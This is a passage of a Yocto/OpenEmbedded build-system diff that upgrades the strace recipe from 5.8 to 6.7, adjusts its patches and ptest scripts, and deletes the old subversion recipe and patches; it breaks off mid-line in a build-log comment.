+++ b/meta/recipes-devtools/strace/strace/Makefile-ptest.patch
@@ -1,4 +1,4 @@
-From ee47e205255928679701a5b769bd7ae0f815119d Mon Sep 17 00:00:00 2001
+From 1f50e0a09d828be8f5b1f28db9af0b12492a1553 Mon Sep 17 00:00:00 2001
From: Gabriel Barbu <gabriel.barbu@enea.com>
Date: Thu, 25 Jul 2013 15:28:33 +0200
Subject: [PATCH] strace: Add ptest
@@ -10,31 +10,32 @@ Signed-off-by: Chong Lu <Chong.Lu@windriver.com>
Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
---
- tests/Makefile.am | 19 +++++++++++++++++++
- 1 file changed, 19 insertions(+)
+ tests/Makefile.am | 20 ++++++++++++++++++++
+ 1 file changed, 20 insertions(+)
diff --git a/tests/Makefile.am b/tests/Makefile.am
-index 8cf4c36..66162eb 100644
+index 55566ee..a7ae6f9 100644
--- a/tests/Makefile.am
+++ b/tests/Makefile.am
-@@ -15,6 +15,7 @@ SIZEOF_LONG = @SIZEOF_LONG@
+@@ -16,6 +16,7 @@ SIZEOF_LONG = @SIZEOF_LONG@
MPERS_NAME =
MPERS_CC_FLAGS =
ARCH_MFLAGS =
+TEST_SUITE_LOG = test-suite.log
AM_CFLAGS = $(WARN_CFLAGS)
- AM_CPPFLAGS = $(ARCH_MFLAGS) \
- -I$(builddir) \
-@@ -538,3 +539,21 @@ BUILT_SOURCES = ksysent.h
+ bundled_CPPFLAGS =
+ if USE_BUNDLED_HEADERS
+@@ -703,3 +704,22 @@ BUILT_SOURCES = ksysent.h
CLEANFILES = ksysent.h
- include ../scno.am
+ include ../src/scno.am
+
+buildtest-TESTS: $(check_PROGRAMS) $(TESTS)
+
+install-ptest:
-+ install $(BUILDDIR)/strace $(DESTDIR)
-+ install $(srcdir)/../strace-log-merge $(DESTDIR)
++ install -d $(DESTDIR)/src
++ install $(BUILDDIR)/src/strace $(DESTDIR)/src
++ install $(srcdir)/../src/strace-log-merge $(DESTDIR)/src
+ install -d $(DESTDIR)/$(TESTDIR)
+ cp $(BUILDDIR)/$(TESTDIR)/Makefile $(DESTDIR)/$(TESTDIR)
+ sed -i -e 's/^Makefile:/_Makefile:/' $(DESTDIR)/$(TESTDIR)/Makefile
diff --git a/meta/recipes-devtools/strace/strace/disable-git-version-gen.patch b/meta/recipes-devtools/strace/strace/disable-git-version-gen.patch
deleted file mode 100644
index e8dbd7f273..0000000000
--- a/meta/recipes-devtools/strace/strace/disable-git-version-gen.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From d87a7feb5ea75da7061afdd473faba044ec8eb0f Mon Sep 17 00:00:00 2001
-From: Andre McCurdy <armccurdy@gmail.com>
-Date: Mon, 18 Jan 2016 13:33:50 -0800
-Subject: [PATCH] strace: remove need for scripts
-
-git-version-gen copyright-year-gen file-date-gen are not included in
-tarball releases, so we need to avoid attempts to call them.
-
-Upstream-Status: Inappropriate [configuration]
-
-Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
-
----
- configure.ac | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index dd4f13f..65f000b 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -12,12 +12,12 @@
-
- AC_PREREQ(2.57)
- AC_INIT([strace],
-- st_esyscmd_s([./git-version-gen .tarball-version]),
-+ m4_esyscmd_s([cat .tarball-version]),
- [strace-devel@lists.strace.io],
- [strace],
- [https://strace.io])
--m4_define([copyright_year], st_esyscmd_s([./copyright-year-gen .year]))
--m4_define([manpage_date], st_esyscmd_s([./file-date-gen strace.1.in]))
-+m4_define([copyright_year], m4_esyscmd_s([cat .year]))
-+m4_define([manpage_date], m4_esyscmd_s([cat .strace.1.in.date]))
- AC_COPYRIGHT([Copyright (c) 1999-]copyright_year[ The strace developers.])
- AC_CONFIG_SRCDIR([strace.c])
- AC_CONFIG_AUX_DIR([.])
diff --git a/meta/recipes-devtools/strace/strace/mips-SIGEMT.patch b/meta/recipes-devtools/strace/strace/mips-SIGEMT.patch
deleted file mode 100644
index e86da9707c..0000000000
--- a/meta/recipes-devtools/strace/strace/mips-SIGEMT.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 794648d84672bbda30a920a05540b56cd155ed9d Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sun, 7 Aug 2016 23:47:57 -0700
-Subject: [PATCH] strace: Fix build with mips/mips64 on musl
-
-SIGEMT is not defined everywhere e.g musl does
-not define it. Therefore check it being defined
-before using it.
-
-Fixes errors e.g.
-../../strace-4.13/tests/signal2name.c:45:7: error: 'SIGEMT' undeclared (first use in this function)
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
-
----
- tests/signal2name.c | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/tests/signal2name.c b/tests/signal2name.c
-index 1d8e7c5..6722aa1 100644
---- a/tests/signal2name.c
-+++ b/tests/signal2name.c
-@@ -49,7 +49,9 @@ signal2name(int sig)
- CASE(SIGEMT);
- CASE(SIGLOST);
- #elif defined MIPS
-+#ifdef SIGEMT
- CASE(SIGEMT);
-+#endif
- CASE(SIGIOT);
- CASE(SIGPWR);
- #else
diff --git a/meta/recipes-devtools/strace/strace/ptest-spacesave.patch b/meta/recipes-devtools/strace/strace/ptest-spacesave.patch
index c5d8ff9207..4e86ccadc5 100644
--- a/meta/recipes-devtools/strace/strace/ptest-spacesave.patch
+++ b/meta/recipes-devtools/strace/strace/ptest-spacesave.patch
@@ -22,7 +22,7 @@ index 3540204..5e1e7c9 100755
$hdr
. "\${srcdir=.}/init.sh"
run_strace_match_diff $arg0 $args
-+ rm -rf log exp
++ rm -rf log exp out
EOF
;;
diff --git a/meta/recipes-devtools/strace/strace/run-ptest b/meta/recipes-devtools/strace/strace/run-ptest
index 4660207220..1224229e8f 100755
--- a/meta/recipes-devtools/strace/strace/run-ptest
+++ b/meta/recipes-devtools/strace/strace/run-ptest
@@ -1,6 +1,11 @@
#!/bin/sh
-export TIMEOUT_DURATION=120
-chown nobody tests
-chown nobody tests/*
-chown nobody ../ptest
-su nobody -c "make -B -C tests -k test-suite.log"
+
+set -u
+
+export TIMEOUT_DURATION=240
+make -j4 -B -C tests -k test-suite.log
+res=$?
+if [ $res -ne 0 ]; then
+ cat tests/test-suite.log
+fi
+exit $res
diff --git a/meta/recipes-devtools/strace/strace/skip-load.patch b/meta/recipes-devtools/strace/strace/skip-load.patch
new file mode 100644
index 0000000000..b1acfda5d8
--- /dev/null
+++ b/meta/recipes-devtools/strace/strace/skip-load.patch
@@ -0,0 +1,49 @@
+Skip tests which are known to be unreliable under load, typically because they
+care about timing.
+
+Upstream-Status: Inappropriate
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+---
+ tests/clock_nanosleep.gen.test | 1 +
+ tests/delay.test | 1 +
+ tests/strace-r.test | 1 +
+ 3 files changed, 3 insertions(+)
+
+diff --git a/tests/clock_nanosleep.gen.test b/tests/clock_nanosleep.gen.test
+index 7a6025b..f0e6dbb 100755
+--- a/tests/clock_nanosleep.gen.test
++++ b/tests/clock_nanosleep.gen.test
+@@ -1,4 +1,5 @@
+ #!/bin/sh -efu
+ # Generated by ./tests/gen_tests.sh from ./tests/gen_tests.in (clock_nanosleep -e trace=clock_nanosleep,clock_gettime); do not edit.
+ . "${srcdir=.}/init.sh"
++skip_ "Test not reliable under load"
+ run_strace_match_diff -e trace=clock_nanosleep,clock_gettime
+diff --git a/tests/delay.test b/tests/delay.test
+index f74e27f..6172c04 100755
+--- a/tests/delay.test
++++ b/tests/delay.test
+@@ -8,6 +8,7 @@
+ # SPDX-License-Identifier: GPL-2.0-or-later
+
+ . "${srcdir=.}/init.sh"
++skip_ "Test not reliable under load"
+
+ while read -r denter dexit denter_us dexit_us; do
+ [ -n "$denter" ] || continue
+diff --git a/tests/strace-r.test b/tests/strace-r.test
+index 8299737..d89c7df 100755
+--- a/tests/strace-r.test
++++ b/tests/strace-r.test
+@@ -8,6 +8,7 @@
+ # SPDX-License-Identifier: GPL-2.0-or-later
+
+ . "${srcdir=.}/init.sh"
++skip_ "Test not reliable under load"
+
+ r_opt="${1:--r}"
+
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/strace/strace/uintptr_t.patch b/meta/recipes-devtools/strace/strace/uintptr_t.patch
deleted file mode 100644
index 088d685af0..0000000000
--- a/meta/recipes-devtools/strace/strace/uintptr_t.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From a6c9366bfbcef6f3f4bb068b1f1a5623935b5013 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 5 Nov 2019 20:05:08 -0800
-Subject: [PATCH] include stdint.h for getting uintptr_t definition
-
-fixes do_compile_ptest_base
-tests/fanotify_mark.c:191:23: error: 'uintptr_t' undeclared (first use in this function); did you mean 'intptr_t'?
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
----
- tests/fanotify_mark.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/tests/fanotify_mark.c b/tests/fanotify_mark.c
-index aade643..de579f3 100644
---- a/tests/fanotify_mark.c
-+++ b/tests/fanotify_mark.c
-@@ -18,6 +18,7 @@
-
- # include <limits.h>
- # include <stdio.h>
-+# include <stdint.h>
- # include <unistd.h>
- # include <sys/fanotify.h>
-
diff --git a/meta/recipes-devtools/strace/strace/update-gawk-paths.patch b/meta/recipes-devtools/strace/strace/update-gawk-paths.patch
index d46b147de5..a16ede95c2 100644
--- a/meta/recipes-devtools/strace/strace/update-gawk-paths.patch
+++ b/meta/recipes-devtools/strace/strace/update-gawk-paths.patch
@@ -1,4 +1,4 @@
-From 12a726b280eca94883edcb4da1eaaf8e93d41739 Mon Sep 17 00:00:00 2001
+From 4cd26cfaec255ec87f22abe886e0be89312a9671 Mon Sep 17 00:00:00 2001
From: Andre McCurdy <armccurdy@gmail.com>
Date: Mon, 18 Jan 2016 11:01:00 -0800
Subject: [PATCH] update gawk paths, /bin/gawk -> /usr/bin/gawk
@@ -13,7 +13,7 @@ Upstream-Status: Inappropriate [configuration]
Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
---
- mpers.awk | 2 +-
+ src/mpers.awk | 2 +-
tests-m32/caps.awk | 2 +-
tests-m32/match.awk | 2 +-
tests-m32/rt_sigaction.awk | 2 +-
@@ -25,18 +25,18 @@ Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
tests/rt_sigaction.awk | 2 +-
10 files changed, 10 insertions(+), 10 deletions(-)
-diff --git a/mpers.awk b/mpers.awk
-index 17f8f2b..d69dcd5 100644
---- a/mpers.awk
-+++ b/mpers.awk
+diff --git a/src/mpers.awk b/src/mpers.awk
+index 25a212f..b2ff53f 100644
+--- a/src/mpers.awk
++++ b/src/mpers.awk
@@ -1,4 +1,4 @@
-#!/bin/gawk
+#!/usr/bin/gawk
#
# Copyright (c) 2015 Elvira Khabirova <lineprinter0@gmail.com>
- # Copyright (c) 2015-2016 Dmitry V. Levin <ldv@altlinux.org>
+ # Copyright (c) 2015-2016 Dmitry V. Levin <ldv@strace.io>
diff --git a/tests-m32/caps.awk b/tests-m32/caps.awk
-index 941564a..0bcc3ff 100644
+index 69500ec..e5dfd87 100644
--- a/tests-m32/caps.awk
+++ b/tests-m32/caps.awk
@@ -1,4 +1,4 @@
@@ -46,27 +46,27 @@ index 941564a..0bcc3ff 100644
# This file is part of caps strace test.
#
diff --git a/tests-m32/match.awk b/tests-m32/match.awk
-index d91c518..ee5d908 100644
+index 1cde87c..df63f78 100644
--- a/tests-m32/match.awk
+++ b/tests-m32/match.awk
@@ -1,4 +1,4 @@
-#!/bin/gawk
+#!/usr/bin/gawk
#
- # Copyright (c) 2014-2018 Dmitry V. Levin <ldv@altlinux.org>
+ # Copyright (c) 2014-2021 Dmitry V. Levin <ldv@strace.io>
# All rights reserved.
diff --git a/tests-m32/rt_sigaction.awk b/tests-m32/rt_sigaction.awk
-index 81dd813..9cd9549 100644
+index dce78f5..573d9ea 100644
--- a/tests-m32/rt_sigaction.awk
+++ b/tests-m32/rt_sigaction.awk
@@ -1,4 +1,4 @@
-#!/bin/gawk
+#!/usr/bin/gawk
#
- # Copyright (c) 2014-2015 Dmitry V. Levin <ldv@altlinux.org>
+ # Copyright (c) 2014-2015 Dmitry V. Levin <ldv@strace.io>
# Copyright (c) 2016 Elvira Khabirova <lineprinter0@gmail.com>
diff --git a/tests-mx32/caps.awk b/tests-mx32/caps.awk
-index 941564a..0bcc3ff 100644
+index 69500ec..e5dfd87 100644
--- a/tests-mx32/caps.awk
+++ b/tests-mx32/caps.awk
@@ -1,4 +1,4 @@
@@ -76,27 +76,27 @@ index 941564a..0bcc3ff 100644
# This file is part of caps strace test.
#
diff --git a/tests-mx32/match.awk b/tests-mx32/match.awk
-index d91c518..ee5d908 100644
+index 1cde87c..df63f78 100644
--- a/tests-mx32/match.awk
+++ b/tests-mx32/match.awk
@@ -1,4 +1,4 @@
-#!/bin/gawk
+#!/usr/bin/gawk
#
- # Copyright (c) 2014-2018 Dmitry V. Levin <ldv@altlinux.org>
+ # Copyright (c) 2014-2021 Dmitry V. Levin <ldv@strace.io>
# All rights reserved.
diff --git a/tests-mx32/rt_sigaction.awk b/tests-mx32/rt_sigaction.awk
-index 81dd813..9cd9549 100644
+index dce78f5..573d9ea 100644
--- a/tests-mx32/rt_sigaction.awk
+++ b/tests-mx32/rt_sigaction.awk
@@ -1,4 +1,4 @@
-#!/bin/gawk
+#!/usr/bin/gawk
#
- # Copyright (c) 2014-2015 Dmitry V. Levin <ldv@altlinux.org>
+ # Copyright (c) 2014-2015 Dmitry V. Levin <ldv@strace.io>
# Copyright (c) 2016 Elvira Khabirova <lineprinter0@gmail.com>
diff --git a/tests/caps.awk b/tests/caps.awk
-index 941564a..0bcc3ff 100644
+index 69500ec..e5dfd87 100644
--- a/tests/caps.awk
+++ b/tests/caps.awk
@@ -1,4 +1,4 @@
@@ -106,22 +106,52 @@ index 941564a..0bcc3ff 100644
# This file is part of caps strace test.
#
diff --git a/tests/match.awk b/tests/match.awk
-index d91c518..ee5d908 100644
+index 1cde87c..df63f78 100644
--- a/tests/match.awk
+++ b/tests/match.awk
@@ -1,4 +1,4 @@
-#!/bin/gawk
+#!/usr/bin/gawk
#
- # Copyright (c) 2014-2018 Dmitry V. Levin <ldv@altlinux.org>
+ # Copyright (c) 2014-2021 Dmitry V. Levin <ldv@strace.io>
# All rights reserved.
diff --git a/tests/rt_sigaction.awk b/tests/rt_sigaction.awk
-index 81dd813..9cd9549 100644
+index dce78f5..573d9ea 100644
--- a/tests/rt_sigaction.awk
+++ b/tests/rt_sigaction.awk
@@ -1,4 +1,4 @@
-#!/bin/gawk
+#!/usr/bin/gawk
#
- # Copyright (c) 2014-2015 Dmitry V. Levin <ldv@altlinux.org>
+ # Copyright (c) 2014-2015 Dmitry V. Levin <ldv@strace.io>
# Copyright (c) 2016 Elvira Khabirova <lineprinter0@gmail.com>
+diff --git a/tests-m32/caps-abbrev.awk b/tests-m32/caps-abbrev.awk
+index c00023b..a56cd56 100644
+--- a/tests-m32/caps-abbrev.awk
++++ b/tests-m32/caps-abbrev.awk
+@@ -1,4 +1,4 @@
+-#!/bin/gawk
++#!/usr/bin/gawk
+ #
+ # This file is part of caps strace test.
+ #
+diff --git a/tests-mx32/caps-abbrev.awk b/tests-mx32/caps-abbrev.awk
+index c00023b..a56cd56 100644
+--- a/tests-mx32/caps-abbrev.awk
++++ b/tests-mx32/caps-abbrev.awk
+@@ -1,4 +1,4 @@
+-#!/bin/gawk
++#!/usr/bin/gawk
+ #
+ # This file is part of caps strace test.
+ #
+diff --git a/tests/caps-abbrev.awk b/tests/caps-abbrev.awk
+index c00023b..a56cd56 100644
+--- a/tests/caps-abbrev.awk
++++ b/tests/caps-abbrev.awk
+@@ -1,4 +1,4 @@
+-#!/bin/gawk
++#!/usr/bin/gawk
+ #
+ # This file is part of caps strace test.
+ #
diff --git a/meta/recipes-devtools/strace/strace_5.8.bb b/meta/recipes-devtools/strace/strace_5.8.bb
deleted file mode 100644
index 70d5940f60..0000000000
--- a/meta/recipes-devtools/strace/strace_5.8.bb
+++ /dev/null
@@ -1,55 +0,0 @@
-SUMMARY = "System call tracing tool"
-HOMEPAGE = "http://strace.io"
-SECTION = "console/utils"
-LICENSE = "LGPL-2.1+ & GPL-2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c756d9d5dabc27663df64f0bf492166c"
-
-SRC_URI = "https://strace.io/files/${PV}/strace-${PV}.tar.xz \
- file://disable-git-version-gen.patch \
- file://update-gawk-paths.patch \
- file://Makefile-ptest.patch \
- file://run-ptest \
- file://mips-SIGEMT.patch \
- file://0001-caps-abbrev.awk-fix-gawk-s-path.patch \
- file://ptest-spacesave.patch \
- file://uintptr_t.patch \
- file://0001-strace-fix-reproducibilty-issues.patch \
- "
-SRC_URI[sha256sum] = "df4a669f7fff9cc302784085bd4b72fab216a426a3f72c892b28a537b71e7aa9"
-
-inherit autotools ptest
-
-PACKAGECONFIG_class-target ??= "\
- ${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez', '', d)} \
-"
-
-PACKAGECONFIG[bluez] = "ac_cv_header_bluetooth_bluetooth_h=yes,ac_cv_header_bluetooth_bluetooth_h=no,bluez5"
-PACKAGECONFIG[libunwind] = "--with-libunwind,--without-libunwind,libunwind"
-
-EXTRA_OECONF += "--enable-mpers=no --disable-gcc-Werror"
-
-CFLAGS_append_libc-musl = " -Dsigcontext_struct=sigcontext"
-
-TESTDIR = "tests"
-PTEST_BUILD_HOST_PATTERN = "^(DEB_CHANGELOGTIME|RPM_CHANGELOGTIME|WARN_CFLAGS_FOR_BUILD|LDFLAGS_FOR_BUILD)"
-
-do_install_append() {
- # We don't ship strace-graph here because it needs perl
- rm ${D}${bindir}/strace-graph
-}
-
-do_compile_ptest() {
- oe_runmake -C ${TESTDIR} buildtest-TESTS
-}
-
-do_install_ptest() {
- oe_runmake -C ${TESTDIR} install-ptest BUILDDIR=${B} DESTDIR=${D}${PTEST_PATH} TESTDIR=${TESTDIR}
- install -m 755 ${S}/test-driver ${D}${PTEST_PATH}
- install -m 644 ${B}/config.h ${D}${PTEST_PATH}
- sed -i -e '/^src/s/strace.*[1-9]/ptest/' ${D}/${PTEST_PATH}/${TESTDIR}/Makefile
-}
-
-RDEPENDS_${PN}-ptest += "make coreutils grep gawk sed"
-
-BBCLASSEXTEND = "native"
-TOOLCHAIN = "gcc"
diff --git a/meta/recipes-devtools/strace/strace_6.7.bb b/meta/recipes-devtools/strace/strace_6.7.bb
new file mode 100644
index 0000000000..f365477ccd
--- /dev/null
+++ b/meta/recipes-devtools/strace/strace_6.7.bb
@@ -0,0 +1,56 @@
+SUMMARY = "System call tracing tool"
+HOMEPAGE = "http://strace.io"
+DESCRIPTION = "strace is a diagnostic, debugging and instructional userspace utility for Linux. It is used to monitor and tamper with interactions between processes and the Linux kernel, which include system calls, signal deliveries, and changes of process state."
+SECTION = "console/utils"
+LICENSE = "LGPL-2.1-or-later & GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=2433d82e1432a76dc3eadd9002bfe304"
+
+SRC_URI = "https://strace.io/files/${PV}/strace-${PV}.tar.xz \
+ file://update-gawk-paths.patch \
+ file://Makefile-ptest.patch \
+ file://run-ptest \
+ file://ptest-spacesave.patch \
+ file://0001-strace-fix-reproducibilty-issues.patch \
+ file://skip-load.patch \
+ file://0001-configure-Use-autoconf-macro-to-detect-largefile-sup.patch \
+ file://0002-tests-Replace-off64_t-with-off_t.patch \
+ "
+SRC_URI[sha256sum] = "2090201e1a3ff32846f4fe421c1163b15f440bb38e31355d09f82d3949922af7"
+
+inherit autotools ptest
+
+# Not yet ported to rv32
+COMPATIBLE_HOST:riscv32 = "null"
+
+# bluez is not enabled by default due to build dependency creep in smaller builds
+# like core-image-minimal leading to significantly more tasks being executed
+PACKAGECONFIG[bluez] = "ac_cv_header_bluetooth_bluetooth_h=yes,ac_cv_header_bluetooth_bluetooth_h=no,bluez5"
+PACKAGECONFIG[libunwind] = "--with-libunwind,--without-libunwind,libunwind"
+
+EXTRA_OECONF += "--enable-mpers=no --disable-gcc-Werror"
+
+CFLAGS:append:libc-musl = " -Dsigcontext_struct=sigcontext"
+
+TESTDIR = "tests"
+PTEST_BUILD_HOST_PATTERN = "^(DEB_CHANGELOGTIME|RPM_CHANGELOGTIME|WARN_CFLAGS_FOR_BUILD|LDFLAGS_FOR_BUILD)"
+
+do_compile_ptest() {
+ oe_runmake -C ${TESTDIR} buildtest-TESTS
+}
+
+do_install_ptest() {
+ oe_runmake -C ${TESTDIR} install-ptest BUILDDIR=${B} DESTDIR=${D}${PTEST_PATH} TESTDIR=${TESTDIR}
+ mkdir -p ${D}${PTEST_PATH}/build-aux
+ mkdir -p ${D}${PTEST_PATH}/src
+ install -m 755 ${S}/build-aux/test-driver ${D}${PTEST_PATH}/build-aux/
+ install -m 644 ${B}/src/config.h ${D}${PTEST_PATH}/src/
+ sed -i -e '/^src/s/strace.*[0-9]/ptest/' ${D}/${PTEST_PATH}/${TESTDIR}/Makefile
+}
+
+RDEPENDS:${PN}-ptest += "make coreutils grep gawk sed"
+
+RDEPENDS:${PN}-ptest:append:libc-glibc = "\
+ locale-base-en-us.iso-8859-1 \
+"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/subversion/subversion/0001-Fix-libtool-name-in-configure.ac.patch b/meta/recipes-devtools/subversion/subversion/0001-Fix-libtool-name-in-configure.ac.patch
deleted file mode 100644
index 5a1b10b2e1..0000000000
--- a/meta/recipes-devtools/subversion/subversion/0001-Fix-libtool-name-in-configure.ac.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-From cbcfe0399347989e45a8fb695f55c855d6b3da72 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 7 Dec 2015 17:11:02 +0200
-Subject: [PATCH] Fix libtool name in configure.ac
-
-Upstream-Status: Inappropriate [embedded specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- configure.ac | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 4ed66d4..ceb64f9 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -221,8 +221,8 @@ if test "$experimental_libtool" = "yes"; then
- LIBTOOL="$sh_libtool"
- SVN_LIBTOOL="$sh_libtool"
- else
-- sh_libtool="$abs_builddir/libtool"
-- SVN_LIBTOOL="\$(SHELL) \"$sh_libtool\""
-+ sh_libtool="$abs_builddir/$host_alias-libtool"
-+ SVN_LIBTOOL="\$(SHELL) \$(abs_builddir)/$host_alias-libtool"
- fi
- AC_SUBST(SVN_LIBTOOL)
-
---
-2.6.2
-
diff --git a/meta/recipes-devtools/subversion/subversion/disable_macos.patch b/meta/recipes-devtools/subversion/subversion/disable_macos.patch
deleted file mode 100644
index 8d2d635992..0000000000
--- a/meta/recipes-devtools/subversion/subversion/disable_macos.patch
+++ /dev/null
@@ -1,71 +0,0 @@
-From 9c350c037ca3489dbeece6ecc2d7e2e5dbb177e9 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Sat, 11 May 2019 15:21:46 +0800
-Subject: [PATCH] These tests don't work in cross compiling, just disable them
- for now, we don't build subversion on OS-X at this time.
-
-RP 1014/7/16
-
-Upstream-Status: Pending [needs a rewrite to support a cache value]
-
-Rebase to 1.12.0
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- build/ac-macros/macosx.m4 | 31 +------------------------------
- 1 file changed, 1 insertion(+), 30 deletions(-)
-
-diff --git a/build/ac-macros/macosx.m4 b/build/ac-macros/macosx.m4
-index 92fa58e..a568e1c 100644
---- a/build/ac-macros/macosx.m4
-+++ b/build/ac-macros/macosx.m4
-@@ -24,21 +24,7 @@ dnl Check for _dyld_image_name and _dyld_image_header availability
- AC_DEFUN(SVN_LIB_MACHO_ITERATE,
- [
- AC_MSG_CHECKING([for Mach-O dynamic module iteration functions])
-- AC_RUN_IFELSE([AC_LANG_PROGRAM([[
-- #include <mach-o/dyld.h>
-- #include <mach-o/loader.h>
-- ]],[[
-- const struct mach_header *header = _dyld_get_image_header(0);
-- const char *name = _dyld_get_image_name(0);
-- if (name && header) return 0;
-- return 1;
-- ]])],[
-- AC_DEFINE([SVN_HAVE_MACHO_ITERATE], [1],
-- [Is Mach-O low-level _dyld API available?])
-- AC_MSG_RESULT([yes])
-- ],[
- AC_MSG_RESULT([no])
-- ])
- ])
-
- dnl SVN_LIB_MACOS_PLIST
-@@ -46,23 +32,8 @@ dnl Assign variables for Mac OS property list support
- AC_DEFUN(SVN_LIB_MACOS_PLIST,
- [
- AC_MSG_CHECKING([for Mac OS property list utilities])
--
-- AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[
-- #include <AvailabilityMacros.h>
-- #if !defined(MAC_OS_X_VERSION_MAX_ALLOWED) \
-- || !defined(MAC_OS_X_VERSION_10_0) \
-- || (MAC_OS_X_VERSION_MAX_ALLOWED <= MAC_OS_X_VERSION_10_0)
-- #error ProperyList API unavailable.
-- #endif
-- ]],[[]])],[
-- SVN_MACOS_PLIST_LIBS="-framework CoreFoundation"
-- AC_SUBST(SVN_MACOS_PLIST_LIBS)
-- AC_DEFINE([SVN_HAVE_MACOS_PLIST], [1],
-- [Is Mac OS property list API available?])
-- AC_MSG_RESULT([yes])
-- ],[
-+ AC_SUBST([SVN_MACOS_PLIST_LIBS], [""])
- AC_MSG_RESULT([no])
-- ])
- ])
-
- dnl SVN_LIB_MACOS_KEYCHAIN
---
-2.7.4
-
diff --git a/meta/recipes-devtools/subversion/subversion_1.14.0.bb b/meta/recipes-devtools/subversion/subversion_1.14.0.bb
deleted file mode 100644
index 452a025fcc..0000000000
--- a/meta/recipes-devtools/subversion/subversion_1.14.0.bb
+++ /dev/null
@@ -1,62 +0,0 @@
-SUMMARY = "Subversion (svn) version control system client"
-HOMEPAGE = "http://subversion.apache.org"
-SECTION = "console/network"
-LICENSE = "Apache-2 & MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=6487ae7094d359fa90fb9c4096e52e2b"
-
-DEPENDS = "apr-util serf sqlite3 file lz4"
-DEPENDS_append_class-native = " file-replacement-native"
-
-SRC_URI = "${APACHE_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
- file://disable_macos.patch \
- file://0001-Fix-libtool-name-in-configure.ac.patch \
- file://serfmacro.patch \
- "
-
-SRC_URI[sha256sum] = "6ba8e218f9f97a83a799e58a3c6da1221d034b18d9d8cbbcb6ec52ab11722102"
-
-inherit autotools pkgconfig gettext python3native
-
-CVE_PRODUCT = "apache:subversion"
-
-PACKAGECONFIG ?= ""
-
-PACKAGECONFIG[boost] = "--with-boost=${RECIPE_SYSROOT}${exec_prefix},--without-boost,boost"
-PACKAGECONFIG[sasl] = "--with-sasl,--without-sasl,cyrus-sasl"
-PACKAGECONFIG[gnome-keyring] = "--with-gnome-keyring,--without-gnome-keyring,glib-2.0 gnome-keyring"
-
-EXTRA_OECONF = " \
- --with-apr=${STAGING_BINDIR_CROSS} \
- --with-apr-util=${STAGING_BINDIR_CROSS} \
- --without-apxs \
- --without-berkeley-db \
- --without-swig \
- --disable-keychain \
- --with-utf8proc=internal \
- ac_cv_path_RUBY=none \
-"
-
-EXTRA_OEMAKE += "pkgconfig_dir=${libdir}/pkgconfig"
-
-acpaths = "-I build/ -I build/ac-macros/"
-
-CPPFLAGS += "-P"
-BUILD_CPPFLAGS += "-P"
-
-do_configure_prepend () {
- rm -f ${S}/libtool
- rm -f ${S}/build/libtool.m4 ${S}/build/ltmain.sh ${S}/build/ltoptions.m4 ${S}/build/ltsugar.m4 ${S}/build/ltversion.m4 ${S}/build/lt~obsolete.m4
- rm -f ${S}/aclocal.m4
- sed -i -e 's:with_sasl="/usr/local":with_sasl="${STAGING_DIR}":' ${S}/build/ac-macros/sasl.m4
-}
-
-#| x86_64-linux-libtool: install: warning: `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/build/subversion/libsvn_ra_local/libsvn_ra_local-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'| x86_64-linux-libtool: install: warning: `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/build/subversion/libsvn_repos/libsvn_repos-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'| /usr/bin/ld: cannot find -lsvn_delta-1| collect2: ld returned 1 exit status| x86_64-linux-libtool: install: warning: `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/build/subversion/libsvn_ra_svn/libsvn_ra_svn-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'| x86_64-linux-libtool: install: warning: `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/build/subversion/libsvn_ra_serf/libsvn_ra_serf-1.la' has not been installed in 